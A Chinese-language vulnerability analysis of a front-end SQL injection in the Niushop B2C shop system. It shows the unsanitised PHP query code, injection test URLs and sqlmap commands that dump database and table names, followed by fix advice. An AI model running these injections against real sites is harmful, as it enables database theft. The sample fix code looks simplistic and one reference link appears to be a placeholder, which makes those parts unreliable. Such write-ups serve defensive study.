某Shop前台SQL注入
字数 1285 2025-08-26 22:11:34
某Shop前台SQL注入漏洞分析与利用
0x01 漏洞概述
Niushop B2C商城系统(基于ThinkPHP5.0开发)存在前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞存在于商品列表查询功能中,涉及两个可注入参数:order和attr_array。
0x02 漏洞分析
漏洞位置
漏洞主要存在于以下文件路径:
/Application/(wap/shop)/Controller/Goods.php中的ajaxGoodsList方法/data/service/Goods.php中的getGoodsAttributeQuery方法/data/Model/BaseModel.php中的getQuery和viewPageQueryNew方法
代码执行流程
-
前端请求处理:
- 请求进入
ajaxGoodsList方法 - 处理
attr_array参数(927-936行):foreach($attr_array as $k => $v) { if(empty($attr_str_where)) { $attr_str_where .= "attr_id = ".$v[2]." and attr_value_id = ".$v[1]; } else { $attr_str_where .= " or attr_id = ".$v[2]." and attr_value_id = ".$v[1]; } }
- 请求进入
-
SQL查询构建:
- 调用
getGoodsAttributeQuery方法(937行) - 最终进入
BaseModel.php的getQuery方法,直接将外部输入拼接到SQL语句中
- 调用
-
Order参数处理:
order参数未经过滤直接传入getGoodsListNew方法(1029行)- 最终在
viewPageQueryNew方法中直接拼接到SQL语句
漏洞成因
-
未过滤的用户输入:
attr_array[][2]和order参数未经过任何过滤处理- 直接拼接到SQL语句中执行
-
多层传递未校验:
- 用户输入经过多个方法传递,但始终未进行安全校验
- 最终在底层数据库操作中直接使用
0x03 漏洞验证
测试URL构造
-
通过order参数注入:
http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7%27&attr_array[][2]=8&spec_array[]=9 -
通过attr_array参数注入:
http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8%27&spec_array[]=9
SQLMap利用
-
基本检测:
sqlmap -u "http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" -
获取当前数据库:
sqlmap -u "同上URL" --random-agent --batch --dbms "mysql" --current-db -
枚举表名:
sqlmap -u "同上URL" --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
0x04 漏洞修复建议
-
输入过滤:
- 对所有用户输入参数进行严格过滤和类型检查
- 对
attr_array和order参数进行白名单验证
-
参数化查询:
- 使用预处理语句(Prepared Statements)替代直接拼接SQL
- 例如使用ThinkPHP的参数绑定功能
-
最小权限原则:
- 数据库连接使用最小必要权限账户
- 限制Web应用账户的数据库操作权限
-
代码修改示例:
// 修改getQuery方法使用参数绑定 public function getQuery($condition) { return $this->where($condition)->bind($condition)->select(); } // 修改viewPageQueryNew方法过滤order参数 public function viewPageQueryNew($order) { $order = preg_replace('/[^a-zA-Z0-9_,\s]/', '', $order); return $this->order($order)->select(); }
0x05 影响范围
- 受影响版本:未明确说明的具体Niushop B2C版本
- 影响组件:前台商品列表查询功能
- 危害等级:高危(可导致数据库信息泄露)
0x06 时间线
- 漏洞发现/报告时间:2019-11-18
- 漏洞公开时间:2019-11-18
0x07 参考链接
- 原始漏洞分析:http://www.a.com/asdsabdas
- ThinkPHP安全指南:官方文档安全章节
- OWASP SQL注入防护指南:https://owasp.org/www-community/attacks/SQL_Injection